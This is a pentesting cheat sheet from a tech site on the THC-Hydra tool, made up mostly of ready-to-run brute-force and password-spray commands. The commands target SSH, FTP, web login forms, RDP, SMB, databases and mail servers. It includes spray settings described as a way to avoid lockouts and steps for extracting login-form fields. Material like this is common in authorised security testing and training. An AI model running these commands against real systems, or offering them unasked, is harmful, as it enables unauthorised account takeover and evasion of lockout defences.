Techzone/Hydra - THC-Hydra

Hydra - THC-Hydra

3 min readArticle

Hydra is the go-to tool for online password brute-forcing. It supports a massive number of protocols and services — SSH, FTP, HTTP, SMB, RDP, MySQL, SMTP, and many more. It's fast (supports parallel connections) and flexible. Comes pre-installed on Kali.

Basic Syntax

bash 
hydra -l <username> -p <password> <target> <service>
hydra -L <userlist> -P <passlist> <target> <service>
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.1 ssh

Common Protocols

SSH

bash 
# Single username, wordlist
hydra -l root -P rockyou.txt ssh://192.168.1.1

# Username and password list
hydra -L users.txt -P passwords.txt ssh://192.168.1.1

# With port and verbose
hydra -l admin -P rockyou.txt -s 2222 -v 192.168.1.1 ssh

# Multiple threads (default is 16)
hydra -l root -P rockyou.txt -t 4 ssh://192.168.1.1

FTP

bash 
hydra -l admin -P rockyou.txt ftp://192.168.1.1
hydra -L users.txt -P passwords.txt 192.168.1.1 ftp

HTTP Forms (Web Login)

bash 
# POST form
hydra -l admin -P rockyou.txt 192.168.1.1 http-post-form \
  "/login:username=^USER^&password=^PASS^:F=Invalid credentials"

# GET form
hydra -l admin -P rockyou.txt 192.168.1.1 http-get-form \
  "/login?user=^USER^&pass=^PASS^:F=Wrong password"

# HTTPS
hydra -l admin -P rockyou.txt https-post-form \
  "192.168.1.1/login:user=^USER^&pass=^PASS^:F=fail"

RDP

bash 
hydra -l administrator -P rockyou.txt rdp://192.168.1.1

SMB

bash 
hydra -l administrator -P rockyou.txt smb://192.168.1.1

MySQL / MSSQL / PostgreSQL

bash 
hydra -l root -P rockyou.txt mysql://192.168.1.1
hydra -l sa -P rockyou.txt mssql://192.168.1.1
hydra -l postgres -P rockyou.txt postgres://192.168.1.1

SMTP / POP3 / IMAP

bash 
hydra -l [email protected] -P rockyou.txt smtp://mail.target.com
hydra -l user -P rockyou.txt pop3://192.168.1.1
hydra -l user -P rockyou.txt imap://192.168.1.1

Important Flags

Flag Description
-l Single username
-L File with usernames
-p Single password
-P File with passwords
-s Custom port
-t Threads (default 16, lower for stability)
-v Verbose
-V Very verbose (show each attempt)
-o Output file
-f Stop after first valid pair found
-u Loop around users, not passwords (spray mode)
-e nsr Try empty pass (n), login as pass (s), reverse (r)

Password Spray Mode

Useful for avoiding lockouts — try one password against many users:

bash 
# Try "Password123" against all users
hydra -L users.txt -p "Password123!" -t 1 -u ssh://192.168.1.1

# Good passwords to spray
hydra -L users.txt -P spray_list.txt -t 1 -u ssh://192.168.1.1

HTTP Form Attack Tips

Getting the right form parameters:

  1. Open browser DevTools → Network
  2. Submit a test login
  3. Find the POST request and copy the form fields
  4. The failure string (F=) should be text that appears on bad login
bash 
# Example with CSRF token (need -e cs or manual bypass)
hydra -l admin -P rockyou.txt 192.168.1.1 http-post-form \
  "/admin/login:csrf_token=abc123&username=^USER^&password=^PASS^:F=Authentication failed"

See Also

  • medusa - Similar tool, sometimes handles certain protocols better
  • future-of-tech-emerging-trends-2023 - Online tools overview
  • hashcat-password-cracking-guide - For offline cracking (faster)
techzonesite.comUnlock Your IT Potential